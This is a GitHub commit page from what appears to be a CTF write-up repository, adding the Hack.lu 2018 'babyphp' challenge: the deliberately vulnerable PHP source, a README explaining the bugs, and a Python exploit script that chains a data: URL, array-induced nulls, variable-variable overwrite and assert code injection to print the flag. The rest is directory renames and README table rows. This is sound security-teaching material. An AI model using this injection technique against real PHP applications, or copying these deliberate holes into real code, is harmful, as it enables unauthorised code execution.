Skip to content

Commit 5388559

Browse files
author
Sajjad Arshad
committed
update readme
1 parent 2a9cd44 commit 5388559

File tree

9 files changed

+97
-12
lines changed

9 files changed

+97
-12
lines changed

‎Codegate/2018/SuperMarimo/Super_Marimo renamed to ‎Codegate/2018/super_marimo/Super_Marimo

File renamed without changes.

‎Codegate/2018/SuperMarimo/libc-2.23.so renamed to ‎Codegate/2018/super_marimo/libc-2.23.so

File renamed without changes.

‎Hack.lu/2018/babyphp/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
In `Hack.lu 2018 - BabyPHP` challenge, there is an `unsanitized user input` vulnerability which results in `unintended behaviors` as well as `code injection`. First, we can provide a `data:` URL to `file_get_contents` to return the required value. Then, we should pass `Array` in the parameter, so we force `substr` and `sha1` return `null`. Also, we can override the values of arbitrary variables using `$$` in `PHP`. Finally, we can run arbitrary code by passing arbitrary `$bb` value into `assert` in order to print `$flag`. This is an interesting `web` challenge to learn how to attack `PHP` applications.

‎Hack.lu/2018/babyphp/exploit.py

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
#!/usr/bin/env python2
2+
3+
import requests
4+
import urllib
5+
import base64
6+
7+
# flag{7c217708c5293a3264bb136ef1fadd6e}
8+
9+
params = {
10+
# we can provide a data: url to file_get_contents
11+
'msg': 'data://text/plain;base64,{}'.format(base64.b64encode('Hello Challenge!')),
12+
'key1': 1337,
13+
# the dollar sing is NOT actually the $
14+
'key2': '0' * 35 + '1337\xef\xbc\x84',
15+
# if we provide an array, both substr and sha1 return null
16+
'cc[]': '',
17+
# we can override k1 with using "$$len = $hack"
18+
'k1': '2',
19+
# assert evaluates the string which results in code injection
20+
'bb': 'print $flag."\\n"; //'
21+
}
22+
23+
url = 'https://arcade.fluxfingers.net:1819/?{}'.format(urllib.urlencode(params))
24+
25+
with requests.get(url) as r:
26+
print r.text
27+

‎Hack.lu/2018/babyphp/program.php

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
<?php
2+
3+
require_once('flag.php');
4+
error_reporting(0);
5+
6+
7+
if(!isset($_GET['msg'])){
8+
highlight_file(__FILE__);
9+
die();
10+
}
11+
12+
@$msg = $_GET['msg'];
13+
if(@file_get_contents($msg)!=="Hello Challenge!"){
14+
die('Wow so rude!!!!1');
15+
}
16+
17+
echo "Hello Hacker! Have a look around.\n";
18+
19+
@$k1=$_GET['key1'];
20+
@$k2=$_GET['key2'];
21+
22+
$cc = 1337;$bb = 42;
23+
24+
if(intval($k1) !== $cc || $k1 === $cc){
25+
die("lol no\n");
26+
}
27+
28+
if(strlen($k2) == $bb){
29+
if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){
30+
if($k2 == $cc){
31+
@$cc = $_GET['cc'];
32+
}
33+
}
34+
}
35+
36+
list($k1,$k2) = [$k2, $k1];
37+
38+
if(substr($cc, $bb) === sha1($cc)){
39+
foreach ($_GET as $lel => $hack){
40+
$$lel = $hack;
41+
}
42+
}
43+
44+
$‮b = "2";$a="‮b";//;1=b
45+
46+
if($$a !== $k1){
47+
die("lel no\n");
48+
}
49+
50+
// plz die now
51+
assert_options(ASSERT_BAIL, 1);
52+
assert("$bb == $cc");
53+
54+
echo "Good Job ;)";
55+
// TODO
56+
// echo $flag;

‎MeePwn/2018/Quals/BabySandbox/baby_sandbox.py renamed to ‎MeePwn/2018/Quals/babysandbox/baby_sandbox.py

File renamed without changes.

‎MeePwn/2018/Quals/BabySandbox/flag.txt renamed to ‎MeePwn/2018/Quals/babysandbox/flag.txt

File renamed without changes.

‎MeePwn/2018/Quals/BabySandbox/program renamed to ‎MeePwn/2018/Quals/babysandbox/program

File renamed without changes.

‎README.md

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -612,11 +612,11 @@
612612
| [N1CTF 2018](N1CTF/2018) | [network_card](N1CTF/2018/network_card) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
613613
| [N1CTF 2018](N1CTF/2018) | [memsafety](N1CTF/2018/memsafety) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
614614
| [N1CTF 2018](N1CTF/2018) | [beeper](N1CTF/2018/beeper) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
615-
| [MeePwn 2018](MeePwn/2018) | [SecureMessage](MeePwn/2018/SecureMessage) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
616-
| [MeePwn 2018](MeePwn/2018) | [One_Shot](MeePwn/2018/One_Shot) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
617-
| [MeePwn 2018](MeePwn/2018) | [House_Of_Card](MeePwn/2018/House_Of_Card) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
618-
| [MeePwn 2018](MeePwn/2018) | [Coin](MeePwn/2018/Coin) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
619-
| [MeePwn 2018](MeePwn/2018) | [BabySandbox](MeePwn/2018/BabySandbox) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
615+
| [MeePwn 2018 Quals](MeePwn/2018/Quals) | [SecureMessage](MeePwn/2018/Quals/SecureMessage) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
616+
| [MeePwn 2018 Quals](MeePwn/2018/Quals) | [One_Shot](MeePwn/2018/Quals/One_Shot) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
617+
| [MeePwn 2018 Quals](MeePwn/2018/Quals) | [House_Of_Card](MeePwn/2018/Quals/House_Of_Card) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
618+
| [MeePwn 2018 Quals](MeePwn/2018/Quals) | [Coin](MeePwn/2018/Quals/Coin) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
619+
| [MeePwn 2018 Quals](MeePwn/2018/Quals) | [babysandbox](MeePwn/2018/Quals/babysandbox) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
620620
| [KasperskyCTF 2018](KasperskyCTF/2018) | [modcontroller](KasperskyCTF/2018/modcontroller) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
621621
| [KasperskyCTF 2018](KasperskyCTF/2018) | [doubles](KasperskyCTF/2018/doubles) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
622622
| [InCTF 2018](InCTF/2018) | [wARMup](InCTF/2018/wARMup) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
@@ -630,10 +630,10 @@
630630
| [ISITDTU 2018 Quals](ISITDTU/2018/Quals) | [dead_note_lv2](ISITDTU/2018/Quals/dead_note_lv2) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
631631
| [ISITDTU 2018 Quals](ISITDTU/2018/Quals) | [dead_note_lv1](ISITDTU/2018/Quals/dead_note_lv1) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
632632
| [ISITDTU 2018 Quals](ISITDTU/2018/Quals) | [babyformat](ISITDTU/2018/Quals/babyformat) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
633-
| [ICTF 2018](ICTF/2018) | [shelter](ICTF/2018/shelter) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
634-
| [ICTF 2018](ICTF/2018) | [marvelous](ICTF/2018/marvelous) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
635-
| [ICTF 2018](ICTF/2018) | [hero_text_adventure](ICTF/2018/hero_text_adventure) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
636-
| [ICTF 2018](ICTF/2018) | [fantasticiot](ICTF/2018/fantasticiot) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
633+
| [iCTF 2018](iCTF/2018) | [shelter](iCTF/2018/shelter) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
634+
| [iCTF 2018](iCTF/2018) | [marvelous](iCTF/2018/marvelous) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
635+
| [iCTF 2018](iCTF/2018) | [hero_text_adventure](iCTF/2018/hero_text_adventure) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
636+
| [iCTF 2018](iCTF/2018) | [fantasticiot](iCTF/2018/fantasticiot) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
637637
| [Harekaze 2018](Harekaze/2018) | [harekaze_farm](Harekaze/2018/harekaze_farm) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
638638
| [Harekaze 2018](Harekaze/2018) | [flea_attack.elf](Harekaze/2018/flea_attack.elf) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
639639
| [Harekaze 2018](Harekaze/2018) | [alnush](Harekaze/2018/alnush) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
@@ -642,6 +642,7 @@
642642
| [HackCon 2018](HackCon/2018) | [SimpleYetElegent](HackCon/2018/SimpleYetElegent) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
643643
| [HackCon 2018](HackCon/2018) | [SheSellsSeaShells](HackCon/2018/SheSellsSeaShells) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
644644
| [HackCon 2018](HackCon/2018) | [BOF](HackCon/2018/BOF) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
645+
| [Hack.lu 2018](Hack.lu/2018) | [babyphp](Hack.lu/2018/babyphp) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
645646
| [Hack.lu 2018](Hack.lu/2018) | [slot_machine](Hack.lu/2018/slot_machine) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
646647
| [Hack.lu 2018](Hack.lu/2018) | [heap_hell](Hack.lu/2018/heap_hell) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
647648
| [Hack.lu 2018](Hack.lu/2018) | [heap_heaven_2](Hack.lu/2018/heap_heaven_2) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
@@ -686,7 +687,7 @@
686687
| [Codegate 2018](Codegate/2018) | [droid.apk](Codegate/2018/droid.apk) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
687688
| [Codegate 2018](Codegate/2018) | [cpu](Codegate/2018/cpu) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
688689
| [Codegate 2018](Codegate/2018) | [Zoo](Codegate/2018/Zoo) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
689-
| [Codegate 2018](Codegate/2018) | [Super_Marimo](Codegate/2018/Super_Marimo) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
690+
| [Codegate 2018](Codegate/2018) | [super_marimo](Codegate/2018/super_marimo) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
690691
| [Codegate 2018](Codegate/2018) | [RedVelvet](Codegate/2018/RedVelvet) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
691692
| [Codegate 2018](Codegate/2018) | [Melong](Codegate/2018/Melong) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
692693
| [Codegate 2018](Codegate/2018) | [Boom](Codegate/2018/Boom) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
@@ -752,8 +753,8 @@
752753
| [0CTF 2018 Quals](0CTF/2018/Quals) | [MathGame](0CTF/2018/Quals/MathGame) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
753754
| [0CTF 2018 Quals](0CTF/2018/Quals) | [HeapStormII](0CTF/2018/Quals/HeapStormII) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
754755
| [0CTF 2018 Quals](0CTF/2018/Quals) | [BlackHoleTheory](0CTF/2018/Quals/BlackHoleTheory) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
755-
| [0CTF 2018 Quals](0CTF/2018/Quals) | [BabyStack](0CTF/2018/Quals/BabyStack) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
756-
| [0CTF 2018 Quals](0CTF/2018/Quals) | [BabyHeap](0CTF/2018/Quals/BabyHeap) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
756+
| [0CTF 2018 Quals](0CTF/2018/Quals) | [babystack](0CTF/2018/Quals/babystack) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
757+
| [0CTF 2018 Quals](0CTF/2018/Quals) | [babyheap](0CTF/2018/Quals/babyheap) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
757758
| [0CTF 2018 Finals](0CTF/2018/Finals) | [vtp](0CTF/2018/Finals/vtp) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
758759
| [0CTF 2018 Finals](0CTF/2018/Finals) | [pemu](0CTF/2018/Finals/pemu) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |
759760
| [0CTF 2018 Finals](0CTF/2018/Finals) | [keen_of_glory](0CTF/2018/Finals/keen_of_glory) | [CTFtime Event](https://ctftime.org/event/)<br>[CTFtime Writeups](https://ctftime.org/task/) |

0 commit comments

Comments
 (0)